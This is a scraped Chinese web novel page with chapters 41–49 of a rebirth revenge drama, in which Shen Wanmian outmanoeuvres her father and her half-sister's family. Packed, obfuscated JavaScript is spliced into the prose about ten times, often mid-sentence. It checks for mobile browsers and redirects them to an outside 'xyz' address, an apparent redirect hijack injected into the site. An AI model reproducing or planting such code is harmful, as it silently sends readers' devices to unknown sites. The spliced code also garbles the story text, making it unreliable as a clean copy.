沈书玉房里伺候的丫鬟再次被提到前厅。 苏倩儿打眼一扫，发现少个夏竹。 “夏竹去哪了？” 丫鬟们都知道此事非同小可。 有一位与夏竹交好的小丫鬟，颤颤巍巍道：“昨日我听夏竹姐姐提到元音寺…” 几乎瞬间，沈知舟就明白了一切。 “我说她怎么这么老实，原来在这等着我呢，来人，随我去文安候府！” 沈书玉是被冷酒泼醒的。 等她回过神后，林听已经将她压到身下。 “你放开我，我不是你要娶的人！！！” 林听早已醉的不分东南西北。 他只知道母亲为他娶了个貌美的妻子。 眼前的小娘们虽然没他母亲说的那般夸张，却也楚楚动人。 “夫人，说什么呢，咱们赶紧圆房吧。” 沈书玉看他压根不跟自己讲道理，她只能拼命往后撤，与对方拉开距离。 她躲一分，林听便向前三分。 最后她退无可退，只能眼睁睁看着林听对自己上下其手。 不可以！绝对不可以！ 沈书玉不知哪里来的力气，竟活生生将绳子扯断。 她一把将身上的男人推倒。 又将被子挡在自己身前。 林听没了耐心，直接翻身上床。 粗暴的将沈书玉挡在身前的被子扯开。 “臭娘们，你父亲早将你卖给我们家了，识相点就好好伺候爷，不然有你好受的。” 林听话音刚落，沈知舟便带着人踹开了房门。 “混账，竟敢欺负我的女儿！” 沈知舟邦邦两拳，打的林听晕头转向。 沈书玉见到父亲，终于忍不住嚎啕大哭。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16050914|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “呜呜呜，爹，你怎么才来。” 沈知舟将身上的披风解下，为女儿披上。 苏倩儿将女儿抱在怀里，轻声安慰道：“没事了没事了，咱们这就回家。” “我的儿！” 林夫人还没进门，就看到小儿子衣衫不整的躺在地上。 她疾步向前，赶紧将林听扶起。 “今天这事不说清楚，谁都别想走！” 林夫人满脸凶神恶煞，命令家丁将婚房围起。 苏倩儿忍无可忍：“你自己看看，这是沈晚眠吗！” 沈书玉探出头，林夫人脸上没了血色。 这是怎么回事！ 趁着林夫人还没缓过神，沈知舟赶紧将锅推到她身上。 “你的人抓错了人，害我女儿受苦，你家倒还有理了。” “女儿我先带走了，若是明日你们不能给我女儿一个解释，我也只好上奏陛下，请陛下还我一家公道！” 说完，沈知舟就带着一家离开了。 前院还在吃喜酒的宾客，纷纷探头。 好好的洞房花烛夜，新娘子怎么被娘家带走了？ 第41章 算账 折腾了大半宿，天都有些蒙蒙亮。 回到沈府，沈知舟让苏倩儿带着女儿先去休息。 书玉从小娇生惯养，哪里受过此等折辱。 想必现在她定还惊魂未消。 “老爷，这件事和那个**脱不了关系，你得为书玉做主啊！” 苏倩儿抱着女儿，流下心疼的泪水。 “我知道，现在最重要的是先安抚好书玉，你先带她下去。” 苏倩儿哭哭啼啼的走了。 沈知舟气的将桌子上的菜一扫而空。 沈晚眠，很好。 不愧是能和贵妃合作人。 敢对书玉下手，就别怪他不顾父女情分了。 更露将歇，天际泛白。 元音寺里，阿烟收到京城来的飞鸽传书。 她将上面的内容看完后，忍不住眉头紧锁。 “不好了，沈知舟要来找你算账！” 沈晚眠一夜未眠，她早就想到会这样。 阿烟见她没有反应，便提出建议。 “小姐，我带你去找殿下吧，有殿下庇佑他不敢动你。” 她与裴行止男女有别。 父亲要打女儿，却被不相干的男子拦着。 这要是传出以后她也不用出门了。 再者躲得了一时也躲不了一世。 她得想个万全的法子才行。 “没事，打不了被他打一顿，如今这么一闹，文安候府也不敢对怎么样。” 林家就要大祸临头，哪里还顾得上她。 就算沈知舟再怎么生气，也不能打死她。 她想好了，实在不行就叫表兄来捞她，先去江南那边避避也好。 上一世她虽与表兄相认，却没能去探望别的亲人。 阿烟急得团团转，殿下吩咐她要她保护好沈二小姐。 她就不能让沈二小姐受一丁点伤。 “阿烟，你先躲起来吧，外人不知道你的存在，被别人看见你就更麻烦了。” 这里距离京城挺远，快马加鞭也得一个半时辰才能到。 沈知舟一介书生，且从小锦衣玉食，不起颠簸，只能坐马车。 快的马车也要两个时辰。 或许她能找到破局之法呢。 沈知舟赶到元音寺，便直奔沈晚眠。 他一进门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16050915|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，就要给这个不孝女一巴掌。 沈晚眠早就料到他会这样。 她也不躲，结结实实的挨了这一下。 沈知舟愣了一下，往日这种时候她都会躲过去。 沈晚眠倒在地上，委屈和不甘化作泪水，顺着眼角滴落。 她倦了，重生后她一直布局谋划，几乎说的每一个字，做的每一件事。 都带着别的目的。 沈书玉名节受损，京城她是待不下去了。 苏倩儿管家权被夺走，以后也不能耀武扬威。 她的仇也算报了一半。 或许是佛门重地的缘故。 她昨日刚到元音寺便失了斗志。 “孽障，你谋害同宗，罪孽深重，竟然还敢躲到寺庙，你就不怕佛祖降罪吗。” 沈晚眠只觉好笑。 “我有什么好怕的，父亲算计女儿，要将我推入火坑，还偏心至极，都敢来这里撒野，我不过自救，佛祖在天之灵定会怜惜我。” 沈晚眠直起身，盯着面前人的眼睛，一字一句道：“有的时候真想问问您，我究竟是您的女儿，还是您的仇人，您竟厌恶我至此。” 第42章 解救 上一世虽然沈知舟对她冷漠，但也没害过她。 现在他的嘴脸，比那对母女更加可恨。 沈知舟被她盯的心里发虚。 他撇过头，拂袖而立。 “你以为你这样说就能逃过惩罚，来人，将这个不孝女绑起来。” 沈晚眠被人按在地上，粗粝的麻绳绕过她的身体，将她重重绑起。 阿烟一直躲在暗处，沈知舟最开始打小姐的时候，她就想冲出去。 如今小姐就要落入险境，她再也忍不住。 “沈太傅好大的官威，连本宫的人都敢抓。” 阿烟脚步一顿，满脸的不可思议。 珍妃怎么来了！ “去，把沈二小姐扶起来。” 珍妃一声令下，几个健壮的嬷嬷将沈晚眠身边的小厮挤到一边。 她们动作利落，很快就将沈晚眠身上的麻绳解开了。 “珍妃娘娘，您这是何意？” 沈知舟没想到半路杀出个程咬金，将他的计划打乱。 珍妃上下打量沈晚眠一番。 不错，就是瘦了点。 还有这衣服，怎么如此破旧。 昨日行止突然进宫，求她去元音寺庇佑沈家二小姐。 知道她是行止的心上人，她便马不停蹄的赶来了。 “沈二小姐被你打成这样，还怎么为本宫抄佛经，罢了，既然她不能抄，就让你家另一个女儿替本宫抄吧。” “青莲，将佛经拿给沈太傅。” 沈知舟不得不接过。 “沈二，你是想留在这里养伤，还是回家去。” 看样子裴行止又帮了她一次。 “多谢娘娘好意，臣女不敢再叨扰佛祖。” 吉祥还在沈府，她不能再让吉祥遭罪。 珍妃原本是想让她留在寺庙，正好和她多接触接触。 “好吧，青莲，你跟沈太傅一起回去，监督沈小姐抄佛经，以免她假手于人。” 有青莲跟着，沈府自然没人敢动沈晚眠。 沈知舟虽然不甘，但也不敢违背珍妃的命令。 只得带着青莲一同入了府。 苏倩儿听到动静，赶紧出来查看。 沈知舟脸色铁青的走在前面。 沈晚眠紧随其后。 苏倩儿看到她，直接扑了上去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16050916|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “**，你竟敢害我女儿！” 她还没碰到沈晚眠的衣角，就被青莲一脚踹翻。 “哪里来的贱婢，竟敢……” “沈太傅，别忘了娘娘交代你的。” 青莲连一个眼神都没给苏倩儿。 她是珍妃娘娘的陪嫁侍女。 宫里位份不高的娘娘都得给她几分薄面，一个小小妾室，她才不放在眼里。 “还愣着干什么，赶紧把姨娘带下去。” 这孽障什么时候又和珍妃攀上关系了。 不知为何，他的内心生出一股强烈的不安感。 她到底还有多少事是**的。 沈晚眠回到她的院子里。 看到吉祥没事，她才放心。 “吉祥给贵客上茶。” 此刻她身心俱疲，只想好好睡一觉，却不得不强撑着和青莲客套。 “今日多谢姑姑，我这院子简陋，拿不出好茶招待姑姑，只能委屈您了。” 青莲在宫中待了这么些年，早就练出了一颗玲珑心。 “这一路舟车劳顿，奴婢就不打扰小姐休息了，阿烟，保护好沈二小姐。” 第43章 露馅 阿烟从暗处现身，乖乖朝青莲行了一礼：“是。” 沈晚眠微微一愣。 她竟知道阿烟，而且阿烟一直没现身，她是怎么知道阿烟在附近的。 看来这位姑姑实力不容小觑。 另一边，沈书玉已经从惊吓中缓过神。 在苏倩儿的引导下，她知道自己中了沈晚眠的圈套。 可她还是不死心，觉得李公子对她是有情的。 沈知舟听到李言初的名字，忍不住怒喝。 “不是不让你和他来往吗，你偏不听，这下好了，被两兄妹骗的团团转。” 沈书玉没听明白：“什么兄妹？” “你的李公子，是沈晚眠亲舅舅家的表兄。” 沈书玉如遭雷劈，她不可置信道：“不可能，不可能，就算他们是表兄妹，李公子对我……对我也是真心的！” 这几日书玉没出过府，她是怎么被骗的？ 沈知舟问道：“你和李言初就见过一面，你们是怎么联系的？” 沈书玉心虚的别过头。 “不知道。” 沈知舟气急：“事到如今你还不说实话，你知道外面是怎么说你的吗，他们都说你不知廉耻，抢亲妹妹的亲事！” 其实传什么的都有，有的甚至说是因为林听洞房之夜不举，沈家不满意才退的亲。 沈书玉委屈的直接哭了出来。 “都怪沈晚眠，她就是个害人精，我以后还怎么面对李公子呜呜呜” “早知道会这样，小的时候就该多给人贩子点钱，直接弄死她好了。” 沈书玉哭的上气不接下气，她将沈晚眠一顿痛骂，无意间还把她与李言初通信的事说了出来。 “好啊，我说你怎么会藏到沈晚眠的马车里，赶紧把信交出来！” 沈书玉不敢再隐瞒，她也觉得事情不对。 抽抽搭搭的将珍藏的信取出。 沈知舟一把将信夺过。 奇怪，怎么信封上没有字？ 他又将信打开，发现里面也没字。 “你还想藏多久，赶紧将信交出来！” 沈书玉哭的都要昏厥，她将所有的事都交代了，父亲怎么还不相信她。 她将信抢过，发现父亲确实没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16050917|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冤枉她。 “不可能啊，怎么会……” 她赶紧将其他信封打开，不出所料，都是空的。 所有信件全被展开，全部都空着。 沈书玉被惊的甚至都忘了哭泣。 瓷青纸，顾名思义，这种样式的纸和平常所用的白纸不同。 它的纸张呈青蓝色。 沈晚眠写信时故意在墨里加了特殊汁液。 这种汁液混在墨里时间长了可以改变字的颜色。 她估算好了时间，从第一封信开始逐渐加量。 早在昨日，信里字迹的颜色已经完全和纸的颜色融为一体。 沈知舟起了一个可怕的念想。 或许跟书玉通信的并非李言初。 而是那个诡计多端的沈晚眠！ “谁帮你们传的信？” “是……沈怀宁。” 看来他有必要往三房跑一趟了。 沈晚眠刚睡下没多久，就被人从床上拽起来。 “起来，都火烧眉毛了，你竟还有心情睡觉。” 沈晚眠被他晃的头都要晕了。 第44章 斗志 “你干什么！” 沈怀宁双目通红，眼里满是怒火。 “沈知舟已经查到我身上了，你说怎么办。” “早知道沈书玉还能被接回来，昨日就应该直接把她杀了，以绝后患！” 他才不在乎被沈知舟发现。 从一开始他就没打算全身而退。 真正让他生气的是，是沈晚眠竟然不继续报复他们了。 “我会跟他讲清楚，一切与你无关。” 沈晚眠只想赶紧将他打发走，她好继续睡觉。 “然后呢？” “什么然后呢？” “你母亲的仇，不报了吗？你从小被沈书玉欺辱，被苏倩儿陷害，难道你都忘了吗？” 说到底还是想利用她。 “你明明是嫡女，却没过过一天嫡女的日子，京城哪家女娘比你过得还窝囊，这么些年，旁人的耻笑，庶姐的欺辱，父亲的不作为和算计，你难道就不想反击吗？！” 沈怀宁的话让她记起小时候被拐卖的那段日子。 是啊，她从小到大受过那么多欺辱。 上天给她重来一次的机会，是让她复仇的，是让她为自己争口气的。 她如此萎靡逃避，对得起自己吗？ “我知道了，你先回去吧，事情还没结束。” 看到她眼里重新燃起斗志，沈怀宁知道自己的话奏效了。 沈怀宁走后，沈晚眠把阿烟叫出来。 “去跟殿下说，不用等了，让他动手吧。” 阿烟走后，沈晚眠又叫来吉祥。 “前院那边怎么样了？” “都乱成一锅粥了，昨晚的事闹的全京城都在看热闹，如今府门紧闭，老爷不允许任何人外出。” “沈书玉哭了一整夜，刚才我听前院的小厮说，青莲姑姑逼着沈书玉抄经书，沈书玉不肯，现下闹的正厉害呢。” 有青莲姑姑在，沈知舟一时半会儿不敢对她怎么样。 “吉祥，你替我注意着外面的消息，特别是文安候府的。” 吉祥在打听消息方面，可是专业的。 “放心吧小姐，包在我身上。” 裴行止早就查到了林峰远伙同三皇子**的证据。 就等着昭昭办完她的事，跟他报信了。 阿烟刚走，他便进宫向皇帝呈上证 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16050918|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 据。 皇帝看完后勃然大怒。 下令撤了林峰远的爵位。 林家满门流放岭南，家产尽数充公。 三皇子裴恒，清点其财产，尽数充公。 终身幽禁三皇子府，无召不得外出。 当天傍晚，裴行止就带着士兵去了文安候府。 街上众人纷纷驻足。 “文安候府可够热闹的，昨夜刚跑了新妇，今日又是怎么了，怎么被官兵包围了？” 吉祥混在人群中，将口袋里的瓜子抓出一把递给旁边的大娘。 大娘收了她的瓜子，热心替她解惑。 “前些日子不是塌了座桥吗，听说就是文安侯，呸，现在不是了，就是他把建桥的银子贪了。” “如今林家爵位被夺，全家都要被流放。” 吉祥得了消息，立马赶回沈府跟沈晚眠汇报。 沈晚眠听后勾唇一笑。 “告诉张管家，可以行动了。” 这局从来不单是为苏倩儿母女布的。 归根结底，她所遭受的一切皆是由沈知舟而起。 所以她要对付的，还有沈知舟。 第45章 威胁 第二日，沈晚眠起了个大早，她特意打扮一番，换上她最艳丽的衣裙。 “走吧，吉祥，咱们去向父亲问安。” 沈知舟本就心烦，见到穿的花里胡哨的沈晚眠，更是气不打一处来。 “你还有脸来，我怎么就生出你这样的孽障！” 虽然生气，但珍妃的眼线还在这，他不敢对沈晚眠做什么，只能过过口头上的瘾。 沈晚眠才不理会他的跳脚。 “昨日您的亲家全家被流放，别人都说七皇子是要放把火为自己立威，身为林家的亲家，您不妨猜猜，这把火会烧到您吗。” 沈知舟冷哼一声：“账本七皇子看过，家产也清算过，别想拿这事吓唬我。” 沈晚眠笑了，笑的十分爽朗。 “那如果，刚刚上任的张管家，“一不小心”发现账本对不上，又“一不小心”查到咱家与林家有过大笔银两往来。” “您说他会不会去七皇子那里主动举报。” 沈知舟有一瞬间的慌乱，不过很快他就镇静下来。 “哼，你以为我会信你的鬼话。” “您不妨派人去账房问问，看看张管家还在不在。” 沈知舟派人去账房打听，没过多久，小厮便前来汇报，张管家确实不在。 说不定……是沈晚眠把人藏起来了。 上一次七皇子派了他的心腹亲自去清点。 就算沈晚眠真的让张管家去举报。 事关重大，七皇子不会轻易听信她的谗言。 “就算他不在，也不能说明你说的是实话。” “好啊，您既不信，咱们父女俩就在这好好的等，看看七皇子会不会来。” 时间一分一秒过去，外面一点风吹草动都没有。 沈知舟原本悬着的心逐渐放下。 他在心里暗暗骂自己，竟然会被沈晚眠的话唬住。 “哼，你自己慢慢等吧，我还有事，先行一步。” 他刚起身，就看到阿烟带着几个侍卫匆匆而来。 阿烟掏出令牌，表情分外严肃。 “属下奉命来接沈二小姐，殿下说此事与沈二小姐无关，请您随我去七皇子府暂住。” 沈知舟还没做出反应， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16050919|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小厮又着急忙慌来报。 “老爷，远处有一队皇家亲卫，正往这边赶来。” 趁着沈知舟愣神之际，阿烟不动声色的向沈晚眠点点头。 沈晚眠一直悬着的心终于落地，裴宴果然上钩了。 之前沈晚眠一直觉得给她下药的是沈书玉。 但仔细想想，她是死后才重生，裴宴既然和她一样，是否说明他也被人暗害了。 一国帝后双双死于暗害，未免太过巧合。 这其中必然存在某种关联，和见不得人的阴谋。 正因如此，她才没对沈书玉下死手。 今日裴宴会来，恰好验证她心中猜测。 他也是被人暗害的。 小厮的话如惊雷炸在耳际，沈知舟瞳孔骤然紧缩，喉咙滚动却说不出话。 他实在不敢相信自己听到的。 过了半晌，才找回自己的声音。 “你说什么！” 荒谬！实在荒谬！ 七皇子竟真信了沈晚眠的谗言。 “你们先下去吧，我有些话想单独跟父亲说。” 第46章 夜莺 房间里只剩父女二人。 “我既会查账，假账自然也会做，而且苏倩儿私自多收了林家的聘礼，与林家有财务往来是事实。” 沈知舟努力让自己镇静下来。 “你到底想干什么！” 她能来找自己，就说明事情还有转机。 若她真想让沈家如林家一般，便不来此与他多费口舌。 “如果父亲赶在抄家前，主动向陛下辞官，想必陛下念在旧情，不会为难父亲。” 沈知舟瞪大眼睛，用手指指着沈晚眠 “你……你休想！” 因为过于激动，他浑身都在颤抖。 沈晚眠两手一摊，无所谓道：“好吧，那就让您的爱妾和您的爱女，陪您一起去岭南吃荔枝吧，可惜殿下免了我流放，不能和您一起了。” 说完，沈晚眠起身拍了拍不存在的灰尘，便要离去。 “慢着，你…容我想想。” “估计殿下马上就要到了，您可得想仔细些。” 沈晚眠重新坐下，十分惬意的为自己倒了杯茶。 沈知舟还是不能完全相信沈晚眠的话。 可他赌不起。 倘若沈晚眠说的是真的，吃苦受罪是次要，最重要的是沈家的脸面会彻底被他丢光。 沈氏一族向来注重清誉，绝不能毁在他手上。 “好，好，我听你的，你说，我该如何做。” 事关沈氏一族的名声。 她知道，沈知舟一定会上钩。 “殿下那边我会拖住，辞官的奏折我已替您拟好，签字画押吧。” 沈晚眠将提前备好的奏折拿出，沈知舟气的想吐血，可他只能照她说的做。 “殿下那边，我会跟他好好解释。” 沈知舟拂袖而去，他再也不想看到沈晚眠的脸。 沈晚眠呼出一口气，还有一人要应对。 请神容易送神难，裴宴被她忽悠过来，她总得提供点价值。 裴宴靠在软榻上，脑子里都是沈晚眠送来的信。 昨日夜里，他都快歇下了，一个自称“夜莺”的人突然求见他。 听到这个称呼，他瞬间困意全无。 “夜莺”是之前他与沈晚眠用过的暗语。 那人进来后， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16050920|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么都没说，只送上一封信。 他将信打开，上面只有寥寥两行字。 但足以让他震惊。 “暗害你我的人我已有线索。” “明日辰时，沈府找我，多带些人。” 他从未与沈晚眠讲过自己是被毒死的。 既然她知道了，那就说明她的消息应是准的。 究竟是谁，能悄无声息的接连毒死他们。 “殿下，沈府到了。” 侍从的声音将他的思绪拉回。 裴宴清了清嗓子：“沈晚眠呢，叫她出来见孤。” 她让自己来沈府，还叫他多带些人。 难道说那贼人就在沈府？ 既如此，他还是不进去为妙。 沈晚眠被侍从引进马车。 她忍不住感叹，穷苦日子过惯了，她都快忘了上一世的锦衣玉食。 “说吧，你有什么线索。” 沈晚眠故弄玄虚道：“你觉得，有能力在无形之中杀死我们的，会是什么人？” 裴宴想了想：“此人必定在宫里潜伏已久，且对你我十分熟悉。” 第47章 辞呈 看他认真分析的模样，沈晚眠几乎憋不住。 这人重活一世，一点长进都没有。 她随便扯的谎，都能让他深信不疑。 “你不是说有线索吗，线索呢？” “杀害我们的人，是西瀛国的奸细。” 沈晚眠没骗他，这的确是线索，不过是她自己想出来的结论，没有事实依据。 裴宴大为震惊，他没有一丁点怀疑，甚至恍然大悟。 “对，西瀛狼子野心，还妄图拉拢丽国一同攻打咱们，的确是他们无疑。” “话已带到，恕不奉陪。” 沈晚眠见到他就烦，不想和他多说一句话。 “站住，你就没别的想对我说的？” 裴宴抬起下巴，语气高傲欠揍。 沈晚眠懒得搭理他，直接无视他回了沈府。 裴宴百感交集，他都想不通自己为什么要说那句话。 事后他突然反应过来刚才被沈晚眠嫌弃了。 但人已经走远了，他只能憋着气打道回府。 沈晚眠回到院中，含泪将自己的积蓄分出一小半。 “吉祥，去吧，快去吧。” 阿烟那边，还等着给“侍卫”结账。 为了对付他们，好不容易得来的银子都要花光了。 光是给沈书玉写信用的笔墨纸砚，就花了她五两银子。 老夫人给的五十两，马上就要见底了。 暮时已至，沈怀宁刚踏入家门，就被沈晚眠拦下。 “昭昭？你怎么在这？” 沈晚眠将沈知舟的辞呈拿出。 “这个，你替沈知舟送上去吧。” 涉及到朝中重臣，她不能随便找个人呈上去。 若是让沈知舟自己去送，万一被他察觉出异常，计划就全白费了。 沈怀宁是最希望沈知川倒台的人。 且他还是沈知舟的侄子，无疑是最合适的人选。 沈怀宁接过辞呈，脸上却没有笑意。 天色太暗，沈晚眠并没注意他的表情不对。 于是送完辞呈她就离开了。 沈怀宁目光晦暗，如果今天他没见到太子，此刻他定是欣喜的。 可坏就坏在，太子今日出现在翰林院时，脸色阴沉的不像话。 他无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055423|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意间听到大学士与太子侍从的对话。 才知道太子是被沈晚眠气的。 他还听到，沈晚眠曾当着贵妃和太子的面立下毒誓，说绝不嫁入东宫。 还是太子逼着她立的。 本来他选择沈晚眠做自己的刀。 就是看在太子和七皇子的份上。 如今看来似乎是他想多了。 房间里烛光昏暗，映的沈怀宁的脸阴晴不明。 他想了一个时辰，最终决定赌把大的。 沈知舟把自己关在房里一整天。 任凭沈书玉再怎么闹，苏倩儿再怎么劝，他就是不肯踏出房门一步。 沈怀宁来的时候，苏倩儿正满面愁容的端着饭菜在门口。 不知沈晚眠那个毒妇跟老爷说了什么。 竟把老爷逼到这种地步。 听到下人通报，她回头看到沈怀宁。 对于害她女儿的凶手之一。 苏倩儿实在挤不出笑脸。 “你来干什么，是来看我们院的笑话？” 沈怀宁微微一笑。 “伯母误会了，我是来救伯父的。” 第48章 暗谋 苏倩儿压根不信他的鬼话。 “猫哭耗子假慈悲，我们大房再落魄，也是沈家的家主，哪里轮得到你在这撒野。” 沈怀宁知道和苏氏多说无异，便直接冲房里的沈知舟喊道：“伯父，今日沈晚眠逼迫你签的东西，在我手上。” 苏倩儿见此人压根不把她放在眼里，气的就要叫家丁把他拖出去。 二人拉扯之际，房门从里面被推开。 “你说的可是真的。” 沈知舟头发凌乱，双目布满红血丝。 他只探出一个头，瞧着甚至有些可怖。 “怀宁不敢撒谎。” “那你进来。” 沈知舟将房门打开，沈怀宁顺势钻了进去。 “老爷，这饭……” 沈知舟没理会，嘭的一声关上了门。 “说吧，你到底想干什么。” 他已被沈晚眠折腾的心力交瘁，不想再与沈怀宁过多周旋。 “伯父，您的辞呈在这。” 沈怀宁从袖口里掏出一封信展开，沈知舟刚看清上面的字迹的确是自己的，正想说些什么。 沈怀宁大手一挥，直接将信丢进烧的正旺的烛火里。 沈知舟眼睛一亮，不过里面的光又迅速暗下去。 “没用的，我不辞官，陛下就会让七皇子来抄家，还不如辞官。” 沈知舟又颓下去。 “谁说陛下要惩治您了。” “今日七皇子都带着亲卫到门口了。” 沈怀宁压低声音。 “如果陛下不知道这件事，是七皇子自作主张的呢？” 沈知舟似是不敢相信。 “你怎么知道？” “我说的是不是实话，您明日亲自面见陛下，不就知道了。” 他的话沈知舟不敢轻易相信，毕竟是他与沈晚眠联手做局。 才把书玉坑到这般田地。 万一这又是沈晚眠下的套呢。 “这样做对你有什么好处？” 他调查过，之前三房想让沈怀安代替他做官，是沈晚眠帮了他一把。 如此说来沈晚眠算他的恩人，他为何要忘恩负义。 “自然是想要您的家主之位。” 沈知舟面色一凛。 “你休想！” 沈怀宁笑着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055424|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为自己辩解：“您误会了，我不是现在就要您的位置，是想等您退位之后，自愿传给我。” 这套说辞还算能说得过去。 沈知舟稍微减轻了怀疑。 “我暂时信你，不过就算陛下不知道，七皇子有意要参我一本，我也是躲不过去。” 沈怀宁笑意更甚。 “放心，我已为您想好退路。” 苏倩儿不放心沈怀宁，便亲自在门口守着。 过了许久，房门才再次打开。 恰巧这时沈书玉从房间跑出来。 那个老女人一直逼着她抄经书，她手都快磨破了。 无论如何她都要让父亲为她做主。 她跑过来，和沈怀宁正好对上。 看见害自己的罪魁祸首之一。 沈书玉瞬间炸了。 “**！你还该来我们家！” 她不顾一切的撕咬上去，势必要把这些天的火全都发泄出来。 “啪”，一声清脆的巴掌，让混乱的场面定格。 沈书玉倒在地上，她被打蒙了。 等她反应过来是谁打的她后，她几乎都要崩溃。 第49章 被骗 “父亲，你打我？！” 沈书玉捂着脸，眼泪止不住往外流。 沈知舟面无表情，眼神没有一丝温度。 “把小姐带下去。” 下人不敢违背沈知舟的命令，尽管沈书玉还在发疯。 她们也只能硬着头皮将她拖下去。 “伯父，我也先告退了。” 沈怀宁行了一礼，就离开了。 沈知舟环视一圈，接着对苏倩儿吩咐道：“方才在这里伺候的，一个不留。” 他不能保证这里没有沈晚眠的眼线。 他已经被沈晚眠坑过太多次。 所以他宁可错杀一千，也不放过一个。 沈知舟留下这句话便回房了。 这次他没有带上房门。 但苏倩儿不敢往里进了，刚才的沈知舟，是她从没见过的。 残忍，冷血，像一条吐着信子的毒蛇。 即使不忍心，苏倩儿还是照沈知舟的吩咐做了。 